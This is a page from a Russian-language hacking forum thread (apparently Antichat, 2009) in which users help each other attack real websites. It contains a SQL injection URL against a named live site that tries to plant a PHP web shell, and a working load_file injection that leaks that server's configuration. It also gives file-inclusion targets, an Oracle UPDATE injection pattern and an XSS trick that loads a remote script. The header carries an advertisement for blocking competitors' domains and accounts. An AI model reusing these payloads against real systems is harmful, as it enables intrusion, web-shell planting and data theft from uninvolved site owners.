Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1059 из 2438

1059

Опции темы

Поиск в этой теме

Опции просмотра

#10581

04.12.2009, 10:05

~~x[0]x~~

Banned

Регистрация: 02.12.2008

Сообщений: 43

С нами: 9178715

Репутация: 4

Цитата:

Сообщение от Ctacok

Полный путь к папке доступной из Интернета знаешь? (document_root)
Если знаешь, выполни запрос:

Вот только может быть чмоды помешаеют.

а терь по полочкам:

1- Есть шелл на сайте
2- сайт 1 на сервере
3- сервер Windows NT SERVER 5.2 build 3790
4- есть доступ к бд
5- бд мускуль5
6- Править файлы не могу
7- могу заливать свои

вопрос к тебе Ctacok, нахуя ему еще один шел?

дооо, возможно просто тс невпонятках что такае задний проход

))

Последний раз редактировалось x[0]x; 04.12.2009 в 10:07..

#10582

04.12.2009, 10:14

~~x[0]x~~

Banned

Регистрация: 02.12.2008

Сообщений: 43

С нами: 9178715

Репутация: 4

Цитата:

Сообщение от Strilo4ka

warlok прикольно, то что нужно ,а переменная $member. Для чего тогда она! ?

это вообще загадка....

$member = $row['name'];

епт.... иди на милворм, возьми пример, скачай уязвимую cms поставь на локалку, тести. а тк херли лясы точить?

#10583

04.12.2009, 11:17

[R]eD

Познающий

Регистрация: 01.08.2006

Сообщений: 35

С нами: 10409033

Репутация: 3

Как можно использовать union select ... если запрос идет в UPDATE?

Тоесть например

PHP код:


		
			
UPDATE `news` SET `title` = ' _тут не фильтруемая переменная_ ', `date` = '' ...

thx.

#10584

04.12.2009, 12:44

[ DSU ]

Участник форума

Регистрация: 22.10.2007

Сообщений: 159

С нами: 9765026

Репутация: 397

Цитата:

Сообщение от [R]eD

Как можно использовать union select ... если запрос идет в UPDATE?

Тоесть например

PHP код:


		
			
UPDATE `news` SET `title` = ' _тут не фильтруемая переменная_ ', `date` = '' ...

thx.

что за бд?

Если Oracle там можно использовать конструкции по типу
Update table set column=(select user from dual)

Последний раз редактировалось [ DSU ]; 04.12.2009 в 12:47..

#10585

04.12.2009, 16:53

547

Участник форума

Регистрация: 11.10.2009

Сообщений: 116

С нами: 8728261

Репутация: 211

коротко:

File_Priv: Y
magic_quotes_off
Сервер:Apache/2.2.3 (Red Hat)
проблема: немогу раскрыть путь...

конструкция:
http://www.gsmtrack.nl/index.php?page[]=
недала нефига(

http://www.gsmtrack.nl/index.php?page=navi_merken&action=navigatie&id=-1+union+select+'%3C?php%20system($_GET['cmd']);%20?%3E'+into+outfile+'/var/www/'--

тут понятно тоже што нефига невыйшло так как путь.....

вообщем вся загвоздка в том што немогу путь раскрыть и (или) загрузить конфиги хотябы)...

#10586

04.12.2009, 17:17

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

Код:

http://www.gsmtrack.nl/index.php?page=navi_merken&action=navigatie&id=-1+union+select+load_file('/etc/httpd/conf/httpd.conf')--


<VirtualHost 213.206.88.15:80>
ServerName www.gsmtrack.nl
ServerAdmin webmaster@gsmtrack.nl
DocumentRoot /opt/guide/www.gsmtrack.nl/HTML

#10587

04.12.2009, 17:39

547

Участник форума

Регистрация: 11.10.2009

Сообщений: 116

С нами: 8728261

Репутация: 211

Цитата:

Сообщение от Pashkela

Код:

http://www.gsmtrack.nl/index.php?page=navi_merken&action=navigatie&id=-1+union+select+load_file('/etc/httpd/conf/httpd.conf')--


<VirtualHost 213.206.88.15:80>
ServerName www.gsmtrack.nl
ServerAdmin webmaster@gsmtrack.nl
DocumentRoot /opt/guide/www.gsmtrack.nl/HTML

прикол) я пробовал так...
http://www.gsmtrack.nl/index.php?page=navi_merken&action=navigatie&id=-1+union+select+load_file('/etc/httpd/conf/httpd.conf')/*
и у меня нераскрылось) спасибо!

но к сожалению
/opt/guide/www.gsmtrack.nl/HTML закрыт на запись из веба и /var/www/html тоже...

ты путь по конфигу вычислил?

#10588

04.12.2009, 18:38

schwarze

Познающий

Регистрация: 01.12.2008

Сообщений: 68

С нами: 9179808

Репутация: 143

Вопрос такой:
Windows. Xampp, Mysql
Php-inj include($file.".php")
Инклудить пхп файлы (конфиги) никакого эффекта не дает - они интерпретируются.
Инклудить логи не возможно - они настолько велики, что страница не успевает "показаться" за 600 секунд. (даже error.log)
И сам вопрос - чтоб такое проинклудить?!

#10589

04.12.2009, 19:04

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Цитата:

Сообщение от schwarze

Если allow_url_include, то

Код:

http://google.com/?

Если нет, то

Код:

/proc/self/environ

Или автарки форумов, и тд...
Об этом уже писалось тут...

#10590

05.12.2009, 00:02

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

Есть 2 таблицы в бд с максимальным размером в 20 символов в каждой, вывод с них нефильтруеться т.е. если я в одну таблицу помешяю <script>alert('x')// а во 2 </script>
в итоге я получаю алерт а в сурсе я вижу такое

Код:

<script>alert('x')// (Password: </script>

мож нает какой вариант прокатит в этом случае, придумал разбивать скрипт и коментить левое выходит примерно так:

Код:

<script src="http:/* (Password: *///1.ru:73/1.js">

но скрипт то невыполняеться при таких условиях

Страница 1059 из 2438

1059

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход